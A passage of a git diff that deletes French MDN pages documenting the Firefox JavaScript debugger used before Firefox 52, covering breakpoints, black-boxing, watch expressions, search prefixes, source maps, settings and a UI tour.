Une autre solution est d'activer le menu contextuel en effectuant un clic droit sur le point d'arrêt puis de cliquer sur "Désactiver le point d'arrêt".

- -

Il est également possible de supprimer un point d’arrêt en cliquant simplement sur le cercle bleu représentant le point d'arrêt.

- -

Pour activer/désactiver tout les points d'arrêt, il faut utiliser le bouton "Activer/Désactiver tout les points d'arrêt" dans le panneau de la liste des sources :

- -

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html deleted file mode 100644 index 4708b18950..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Access debugging in add-ons -slug: Outils/Debugger_(before_Firefox_52)/How_to/Access_debugging_in_add-ons -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Access_debugging_in_add-ons ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -
-

Il est prévu de déprécier l'utilisation des techniques décrites dans ce document. Merci de ne pas développer de nouveaux modules complémentaires en utilisant ces techniques.

-
- -

Les objets suivant sont accessibles dans le contexte de chrome://browser/content/debugger.xul (ou, en version beta 23,, chrome://browser/content/devtools/debugger.xul) :

- -
    -
  • window.addEventListener("Debugger:EditorLoaded") - Appelé quand le panneau des scripts accessible en lecture seule est chargé
    • -
  • window.addEventListener("Debugger:EditorUnloaded")
    • -
- -

Fichiers en relation :

- -
    -
  • chrome://browser/content/devtools/debugger-controller.js
    • -
  • chrome://browser/content/devtools/debugger-toolbar.js
    • -
  • chrome://browser/content/devtools/debugger-view.js
    • -
  • chrome://browser/content/devtools/debugger-panes.js
    • -
- -

Malheureusement, il n'y a pas encore d'API pour évaluer les expressions dans la portée du débogueur, ou pour mettre en surbrillance les éléments de la page qui sont référencés comme variables dans la portée déboguée. C'est actuellement un travail en cours, voir le bug 653545.

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html deleted file mode 100644 index 7fa3206c04..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Mettre une source dans une boîte noire -slug: Outils/Debugger_(before_Firefox_52)/How_to/Black_box_a_source -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Black_box_a_source ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Dans le développement web moderne, il est courant de s'appuyer sur des bibliothèques tels que jQuery, Ember, ou Angular, et 99% du temps on peut supposer qu'elles fonctionnent parfaitement. On ne se soucie alors pas de l'implémentation interne de ces librairies : on les considère comme des boites noires. Cependant l'abstraction des bibliothèques « cède » lors des sessions de débogage lorsqu'on est forcé de passer par des piles d'appels utilisant la bibliothèque pour accéder à son propre code. Avec le système de boite noire, il est possible d'indiquer au débogueur d'ignorer les détails des sources sélectionnées.

- -

Il est possible de mettre/enlever une source dans une boîte noire en sélectionnant la source dans le panneau de la liste des sources puis en cliquant sur l'icône en forme d'œil en bas à gauche :

- -

- -

Il est possible de placer plusieurs fichiers sources dans des boîtes noires en ouvrant la Barre de développement  et utilisant la commande   dbg blackbox :

- -

- -

Quand une source est mise dans une boîte noire :

- -
    -
  • Tous les points d'arrêt concernant ce(s) fichier(s) sont désactivés.
    • -
  • Lorsque l'option « Pause sur les exceptions » dans les options du Débogueur est activée, le débogueur ne s'arrêtera pas lorsqu'une exception est levée par une source dans une boite noire. Dans ce cas, le débogueur attendra que la pile arrive à une frame dans une source qui n'est pas dans une boîte noire.
    • -
  • Lors d'un débogage pas à pas, le débogueur passera sans s'arrêter dans une source mis en boîte noire.
    • -
diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html deleted file mode 100644 index 515a2df202..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: S’arrêter sur un évènement DOM -slug: Outils/Debugger_(before_Firefox_52)/How_to/Break_on_a_DOM_event -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Break_on_a_DOM_event ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Si vous écoutez un évènement DOM, Il est possible d'indiquer au débogueur de s'arrêter lorsque l'événement est lancé, sans avoir besoin de chercher l'écouteur et de mettre un point d'arrêt manuellement.

- -

Il faut d’abord cliquer sur le bouton "Développer les panneaux" de la barre d'outils (juste à gauche des options). Cela ouvre le panneau partagé par les variables et les événements. Il faut ensuite cliquer sur l'onglet « Événements » cela affiche le panneau des événements. Ce panneau liste tout les évènements auxquels vous avez assigné un écouteur :

- -

- -

Il n'y a plus qu'a cocher à la case à coté de l'évènement ou vous désirez que votre code s’arrête.

- -

Quand l'évènement est lancé, le code s’arrêtera au début de l'écouteur.

- -

{{EmbedYouTube("f-tbR8kj0K0")}}

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html deleted file mode 100644 index 421de55174..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Debug eval sources -slug: Outils/Debugger_(before_Firefox_52)/How_to/Debug_eval_sources -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Debug_eval_sources ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Il est possible de déboguer du code JavaScript qui à été évalué dynamiquement, soit en étant passé sous forme de chaine de caractères à la fonction eval(), soit en étant passé sous forme de chaine caractère au constructeur d'une fonction.

- -

Pour faire cela, il est nécessaire d'utiliser l'instruction //# sourceURL pour nommer la source :

- -
var button = document.getElementById("clickme");
-button.addEventListener("click", evalFoo, false);
-
-var script = "function foo() {" +
-             "  console.log('foo a été appelée');" +
-             "}" +
-             "foo();//# sourceURL=mon-foo.js";
-
-function evalFoo() {
-  eval(script);
-}
- -

Cela nome le script "mon-foo.js".

- -

Une fois que la chaine a été évaluée, le script apparaitra dans le Débogueur comme une source séparée et sera entièrement débogable comme toutes les autres sources. Il sera également possible de l'afficher joliment :

- -

{{EmbedYouTube("nFm8F8Anmic")}}

- -

Le nom du script apparaitra également dans la pile d'exécution dans la Console Web.

- -

Le Débogueur s’arrêtera également aux expressions debugger; dans les sources évaluées anonymes

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html deleted file mode 100644 index 25f362b7a9..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Désactiver des point d'arrêts -slug: Outils/Debugger_(before_Firefox_52)/How_to/Disable_breakpoints -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Disable_breakpoints ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Si vous utilisez Firefox 52 ou plus récent, et que vous avez besoin d'utiliser l'ancien Débogueur, il faut changer la préférence "devtools.debugger.new-debugger-frontend" à false dans about:config (page du navigateur).

- -

Pour désactiver un point d'arrêt, il suffit de décocher la case à cocher à coté du point d'arrêt dans le panneau de la liste des sources :

- -

- -

Une autre solution est d'activer le menu contextuel en effectuant un clic droit sur le point d'arrêt puis de cliquer sur "Désactiver le point d'arrêt".

- -

Il est également possible de supprimer un point d’arrêt en cliquant simplement sur le cercle bleu représentant le point d'arrêt.

- -

Pour activer/désactiver tout les points d'arrêt, il faut utiliser le bouton "Activer/Désactiver tout les points d'arrêt" dans le panneau de la liste des sources :

- -

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html deleted file mode 100644 index d3ded1c55f..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'Examiner, modifier, et espionner des variables' -slug: >- - Outils/Debugger_(before_Firefox_52)/How_to/Examine,_modify,_and_watch_variables -translation_of: 'Tools/Debugger_(before_Firefox_52)/How_to/Examine,_modify,_and_watch_variables' ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Examiner des variables

- -

Quand le code s'est arrêté sur un point d'arrêt, il est possible d'examiner ses variables grâce au panneau des variables du débogueur :

- -

- -

Les variables sont listées et triées selon leur portée : Dans la fonction ci-dessus, les variables intégrées arguments et this ainsi que les variables locales comme user et greeting seront visibles. Dans la portée globale, les variables globales qui ont été définies (greetme) et les variables globales intégrées (localStorage, console…) seront visibles.

- -

Chaque objet peut être étendu pour voir son contenu en utilisant l'icône en forme de triangle.

- -

Survoler le nom d'une variable affiche une infobulle qui fournit des informations complémentaires sur la variable. Se référer à Object.defineProperty() pour des détails sur la signification de ces termes.

- -

Pour voir les propriétés des objets, il est possible d'utiliser le filtre de script avec le préfixe spécial "*" ou en utilisant la boite de filtrage des variables si vous l'avez activée dans les options du débogueur.

- -

{{EmbedYouTube("dxCvnixpM_Q")}}

- -

Si une variable existe dans la source, mais a été enlevé par le moteur JavaScript à la suite d'une optimisation. Alors cette variable est présente dans le panneau, mais sa valeur est égale à (optimized away),  et n'est pas modifiable. Dans la capture d’écran ci-dessous, la variable upvar a été optimisée :

- -

- -

Modifier des variables

- -

Quand le code s'est arrêté à un point d'arrêt, il est possible de modifier les variables dans le panneau des variables du débogueur. Il suffit de cliquer sur la valeur actuelle d'une variable pour pouvoir la réécrire :

- -

{{EmbedYouTube("FKG-jkvSpq8")}}

- -

Espionner une expression

- -

Les expressions espionnes sont des expressions qui sont évaluées à chaque fois que l'exécution s'arrête. Il est alors possible d'examiner le résultat de ces expressions. C'est utile dans la mesure où cela permet d'inspecter des éléments invariants dans votre code que vous savez être présents, mais qui ne sont pas nécessairement prêts pour une inspection.

- -

Pour ajouter une expression espionne, il faut cliquer sur la boite "ajouter une expression espionne" puis entrer l'expression JavaScript que vous souhaitez surveiller en parcourant votre code.

- -

Il ne reste plus qu'à faire tourner votre code. L'expression espionne ne fait rien tant que le code n'est pas arrêté à un point d'arrêt. Quand le code est arrêté, les expressions espionnes sont activées et leur valeur apparaitra alors :

- -

{{EmbedYouTube("CwGU-5wKRw0")}}

- -

À chaque changement de la valeur de l'expression espionne, sa boite sera brièvement affichée en surbrillance jaune. Il est possible de supprimer une expression espionne en cliquant sur l'icône en forme de croix à côté. Bien sûr, il est également possible d'avoir plus d'une seule expression espionne à la fois.

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html deleted file mode 100644 index edcdc56c82..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Afficher en surbrillance et inspecter les nœuds DOM -slug: Outils/Debugger_(before_Firefox_52)/How_to/Highlight_and_inspect_DOM_nodes -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Highlight_and_inspect_DOM_nodes ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Si vous survolez un nœud DOM dans le panneau des variables, il sera affiché en surbrillance dans la page :

- -

De plus, une icône en forme de cible apparaitra à côté de la variable. Cliquer sur cette icône, ouvrira l'Inspecteur avec l'élément DOM sélectionné.

- -

{{EmbedYouTube("0JWxXp2Qql8")}}

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/index.html deleted file mode 100644 index 7fa79d80a3..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Comment ? -slug: Outils/Debugger_(before_Firefox_52)/How_to -translation_of: Tools/Debugger_(before_Firefox_52)/How_to ---- -
{{ToolsSidebar}}

Ces articles décrivent comment se servir du Débogueur.

- -

{{ ListSubpages () }}

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html deleted file mode 100644 index dc052eb319..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Ouvrir le Débogueur -slug: Outils/Debugger_(before_Firefox_52)/How_to/Open_the_debugger -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Open_the_debugger ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Pour ouvrir le Débogueur, il faut utiliser le bouton du menu Firefox (new fx menu). Puis sélectionner "Développement web", et enfin sélectionner "Débogueur". Il est également possible d'utiliser le raccourci clavier :

- -
    -
  • Controle+Maj+S sur Windows et Linux
    • -
  • Command+Option+S sur Mac
    • -
- -

La  Boite à outils apparaitra alors en bas du navigateur, avec le Débogueur activé. Voici une capture d'écran qui montre à quoi ressemble le débogueur lors de son ouverture :

- -

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html deleted file mode 100644 index a5ba32edb2..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Formater et indenter un fichier minifié -slug: Outils/Debugger_(before_Firefox_52)/How_to/Pretty-print_a_minified_file -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Pretty-print_a_minified_file ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Pour formater et indenter un fichier qui a été minifié, il faut ouvrir le fichier minifié et cliquer sur l'icône en forme de paire d'accolades :

- -

Le fichier apparaitra alors dans un format plus lisible :

- -

Il est possible de demander au débogueur de détecter et de formater et indenter automatiquement les sources minifiés. Pour cela, il faut activer l'option "Formater et Indenter automatiquement les sources compactées" dans les options du débogueur.

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/search_and_filter/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/search_and_filter/index.html deleted file mode 100644 index 5e35c61cd9..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/search_and_filter/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Rechercher et filtrer -slug: Outils/Debugger_(before_Firefox_52)/How_to/Search_and_filter -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Search_and_filter ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Pour effectuer une recherche à l'intérieur du débogueur, il est possible d'utiliser le filtre de script de la barre d'outils :

- -

- -

Ne pas utiliser de préfixe dans le filtre aura pour conséquence de ne rechercher que dans la liste des sources du Panneau de la liste des sources. Pour voir la source correspondante au nom de fichier recherché, il faut utiliser la touche entrée ou les flèches directionnelles.

- -

Utiliser un préfixe correspondant à l'un des divers caractères spéciaux aura différents effets sur la recherche :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PréfixeFonction
AucunFiltre les scripts affichés dans le panneau de la liste des sources.
!Recherche la chaine de caractère dans tous les fichiers.
@Recherche une définition de fonction dans tous les fichiers
# -

Recherche l'expression dans le fichier actuellement ouvert dans le panneau de la liste des sources.

- -

Appuyer sur entrée itérera parmi les occurrences.

-
:Va à la ligne donnée dans le fichier actuellement ouvert dans le panneau de la liste des sources.
*Filtrer les variables affichées dans le panneau des variables.
- -

Ces options sont affichées dans une pop-up lors d'un clic sur le filtre. Elles sont également accessibles depuis le menu contextuel dans le panneau des sources.

- -

Les préfixes peuvent être combinés pour obtenir des expressions puissants. Par exemple :

- - - - - - - - - - - - -
toto.js:12Ouvre le fichier "toto.js" et se rend à la ligne 12
mod#onLoadRecherche la chaine de caractères "onLoad" dans tous les fichiers contenant "mod" dans leur noms.
diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html deleted file mode 100644 index 62a8ce9317..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Ajouter un point d'arrêt -slug: Outils/Debugger_(before_Firefox_52)/How_to/Set_a_breakpoint -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Set_a_breakpoint ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Il existe différentes façons de placer un point d'arrêt dans du code JavaScript dans le Débogueur :

- -
    -
  • Dans le panneau des sources, cliquez sur le numéro de ligne où vous voulez arrêter le code
    • -
  • Dans le panneau des sources, faites un clic droit sur la ligne où vous voulez arrêter le code pour ouvrir le menu contextuel puis cliquez sur "Ajouter un point d'arrêt"
    • -
  • Dans le panneau des sources, mettez la ligne ciblée en surbrillance et appuyez sur Ctrl+B (Windows/Linux) ou Command+B (Mac OS X)
    • -
- -

Chaque point d'arrêt est affiché à deux endroits dans le débogueur :

- - - -

La capture d'écran ci-dessous montre les points d'arrêt aux lignes 20 et 28 du fichier.

- -

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html deleted file mode 100644 index 5025b633bb..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Ajouter un point d’arrêt conditionnel -slug: Outils/Debugger_(before_Firefox_52)/How_to/Set_a_conditional_breakpoint -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Set_a_conditional_breakpoint ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Pour ajouter un point d'arrêt conditionnel, il faut activer le menu contextuel (clic droit) en étant sur la ligne voulue dans le panneau des sources et sélectionner « Ajouter un point d'arrêt conditionnel ». Il faut alors entrer la condition dans la pop-up qui apparait :

- -

- -

Les points d'arrêt conditionnels sont représentés par une flèche orange :

- -

- -

Pour éditer la condition ou pour ajouter une condition à un point d'arrêt normal, il faut activer le menu contextuel (clic droit) et sélectionner « Configurer le point d'arrêt » :

- -

diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/step_through_code/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/step_through_code/index.html deleted file mode 100644 index 64743f97f8..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/step_through_code/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Parcourir le code -slug: Outils/Debugger_(before_Firefox_52)/How_to/Step_through_code -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Step_through_code ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Quand le code s'arrête sur un point d'arrêt, il est possible de le parcourir pas à pas en utilisant les quatre boutons à gauche dans la barre d'outils :

- -

- -

De gauche à droite :

- -
    -
  • Reprendre : exécute le code jusqu'au prochain point d'arrêt
    • -
  • Passer la fonction : avance jusqu'à ligne suivante dans la même fonction
    • -
  • Entrer dans la fonction : avance jusqu'à la ligne suivante, sauf s'il y a un appel de fonction dans ce cas, le débogueur entre dans la fonction appelée
    • -
  • Sortir de la fonction : avance jusqu’à la fin de la fonction actuelle
    • -
diff --git a/files/fr/outils/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html b/files/fr/outils/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html deleted file mode 100644 index 0593d49d3a..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Utiliser une source map -slug: Outils/Debugger_(before_Firefox_52)/How_to/Use_a_source_map -translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Use_a_source_map ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Les sources JavaScript sont souvent combinées et minifiées afin d'optimiser le temps que met le serveur à les fournir. Il est également de plus en plus courant que les sources soient générées automatiquement en utilisant un langage comme CoffeeScript. En utilisant des source maps, le débogueur peut faire le lien entre le code étant exécuté et les fichiers sources originaux, rendant ainsi le débogage incroyablement plus facile.

- -

Par défaut, le Débogueur utilisera les sources map si elles sont disponibles. Pour vérifier si l'utilisation des sources maps est activé (ou pour la désactiver), il faut cliquer sur les options du débogueur et dans la liste qui s'affiche sélectionner "Afficher les sources originales"  :

- -

- -

Bien sûr, pour que cela fonctionne il faut avoir fourni une source map pour le JavaScript tournant dans la page. Pour cela il faut ajouter une instruction en commentaire dans votre fichier source :

- -

//# sourceMappingURL=http://example.com/chemin/vers/votre/sourcemap.map

diff --git a/files/fr/outils/debugger_(before_firefox_52)/index.html b/files/fr/outils/debugger_(before_firefox_52)/index.html deleted file mode 100644 index 13f53b09e4..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Débogueur (avant Firefox 52) -slug: Outils/Debugger_(before_Firefox_52) -translation_of: Tools/Debugger_(before_Firefox_52) ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Le débogueur JavaScript permet d'avancer pas à pas dans du code JavaScript et de l’examiner ou de le modifier, afin de retrouver et de corriger les bugs.

- -

Le débogueur peut fonctionner directement dans Firefox ou être utilisé à distance, par exemple sur un appareil Firefox OS ou Firefox sur Android. Voir le guide du débogage à distance pour apprendre à connecter le débogueur à une cible distante

- -

{{EmbedYouTube("sK8KU8oiF8s")}}

- -
-

Visite guidée de l'interface utilisateur

- -

Pour vous repérer dans le débogueur, voici une courte visite guidée de l'interface utilisateur.

- -
-

Comment ?

- -

Pour savoir ce qu'il est possible de faire avec le débogueur, regardez les guides pratiques suivants :

- -
- -
- -
-

Référence

- -
- -
diff --git a/files/fr/outils/debugger_(before_firefox_52)/keyboard_shortcuts/index.html b/files/fr/outils/debugger_(before_firefox_52)/keyboard_shortcuts/index.html deleted file mode 100644 index 9de13b55a9..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/keyboard_shortcuts/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Raccourcis clavier -slug: Outils/Debugger_(before_Firefox_52)/Keyboard_shortcuts -translation_of: Tools/Debugger_(before_Firefox_52)/Keyboard_shortcuts ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "old-debugger") }}

- -

Raccourcis généraux

- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/outils/debugger_(before_firefox_52)/settings/index.html b/files/fr/outils/debugger_(before_firefox_52)/settings/index.html deleted file mode 100644 index 9037a57151..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/settings/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Paramètres -slug: Outils/Debugger_(before_Firefox_52)/Settings -translation_of: Tools/Debugger_(before_Firefox_52)/Settings ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Le Débogueur a son propre menu de paramètres. Il est accessible depuis l’icône en forme d'engrenage dans la barre d'outils :

- -

- -

Chaque paramètre est une simple case à cocher :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Formater et indenter automatiquement les sources compactéesLorsque cette option est activée, le Débogueur affichera joliment les fichiers JavaScript minifiés.
Pause sur les exceptionsLorsque cette option est activée, l’exécution du script s’arrêtera automatiquement lorsqu'une exception JavaScript est levée.
Ignorer les exceptions interceptées -

Lorsque cette option est activée, l’exécution ne s’arrêtera pas lorsqu'une exception levée est interceptée

- -

Si cette option est activée (elle l'est par défaut), et que "Pause sur les exceptions" est activé, alors l'exécution s’arrêtera uniquement si l'exception levée n'est pas attrapée. Ce qui est généralement le comportement désiré : les expressions interceptées indiquent généralement que votre programme les gère correctement.

-
Panneaux développés au démarrageLorsque cette option est activée, le panneau des variables du Débogueur est visible dès l'ouverture de celui-ci.
Afficher uniquement les propriétés énumérablesLes propriétés JavaScript non-énumérables ne sont pas affichées
Afficher la boîte de filtrage des variablesLorsque cette option est activée, une boîte de recherche est ajoutée au panneau des variables, elle permet de filtrer la liste des variables affichée
Afficher les sources originalesLorsque cette option est activée, le Débogueur utilisera des source maps, s'il y en a, afin d'afficher le code source original qui a été minifié, combiné ou même compilé depuis un langage comme CoffeeScript. Cette option est activée par défaut
Mettre automatiquement dans une boîte noire les sources compactées -
-

Nouveauté de Firefox 33

-
- -

Met automatiquement les sources dont l'URL finit par ".min.js" dans une boîte noire

-
diff --git a/files/fr/outils/debugger_(before_firefox_52)/ui_tour/index.html b/files/fr/outils/debugger_(before_firefox_52)/ui_tour/index.html deleted file mode 100644 index 0a8213687b..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/ui_tour/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Visite guidée de l'interface utilisateur -slug: Outils/Debugger_(before_Firefox_52)/UI_Tour -translation_of: Tools/Debugger_(before_Firefox_52)/UI_Tour ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Cet article est une visité guidée des principales sections de l'interface utilisateur du Débogueur JavaScript de Firefox. Cette interface est séparée en six sections principales :

- - - -

- -

Barre d'outils

- -

La barre d'outils est composé de quatre sections :

- - - -

- -

Les quatre boutons de gauche ont (dans l'ordre) les fonctions suivantes :

- -
    -
  • Pause/Reprendre(F8) : met pause ou reprend l’exécution du script en débogage. Lorsque ce bouton devient bleu, cela veut dire que le script est en pause, soit parce que vous avez appuyé sur le bouton soit parce que le code est arrivé sur un point d'arrêt.
    • -
  • Passer la fonction (F10) : Passe à la ligne de JavaScript suivante.
    • -
  • Entrer dans la fonction (F11) : Entre dans la fonction appelée par la ligne de JavaScript actuelle si appel il y a. Sinon, passe à la ligne suivante.
    • -
  • Sortir de la fonction (Shift-F11): Fait tourner le code jusqu’à sortir de la fonction actuelle.
    • -
- -

La visualisation de la pile d’exécution montre la pile d’exécution au moment ou l’exécution est arrêté.

- -

Panneau de la liste des sources

- -

Le panneau de la liste des sources liste tous les fichiers sources JavaScript qui sont chargés dans la page, et permet d'en sélectionner un pour le déboguer. Ce panneau partage sa portion d'écran avec le panneau de la pile d’exécution. Les onglets en haut des panneaux permetent de passer d'un panneau à l'autre.

- -

- -

Les fichiers sources sont regroupés sous différentes catégories basées sur l'origine de ces fichiers. Il est possible de sélectionner n'importe lequel de ces fichiers et il sera alors chargé dans le panneau des sources.

- -

Chaque point d'arrêt mis dans un fichier source est listé dans le panneau de la liste des sources juste en dessous du nom de ce fichier. La case à cocher à côté de chaque point d'arrêt permet de l'activer ou de le désactiver. Effectuer un clic droit sur un point d'arrêt dans la liste affiche un menu contextuel permettant de :

- -
    -
  • Désactiver, activer ou supprimer ce point d'arrêt, tous les points d'arrêt ou tous les points d'arrêt sauf celui-ci.
    • -
  • Rendre ce point d'arrêt conditionnel (ou éditer sa condition si il l'est déjà).
    • -
- -

Les trois icônes en bas du panneau permettent de :

- - - -

Il existe un menu contextuel (clic droit) pour les éléments de la liste des sources celui-ci permet de copier l'URL d'où viennent les fichiers, ou bien de les ouvrir dans un nouvel onglet :

- -

- -

Panneau de la pile d’exécution

- -

Le deuxième onglet de la partie gauche du Débogueur affiche une pile d’exécution verticale :

- -

- -

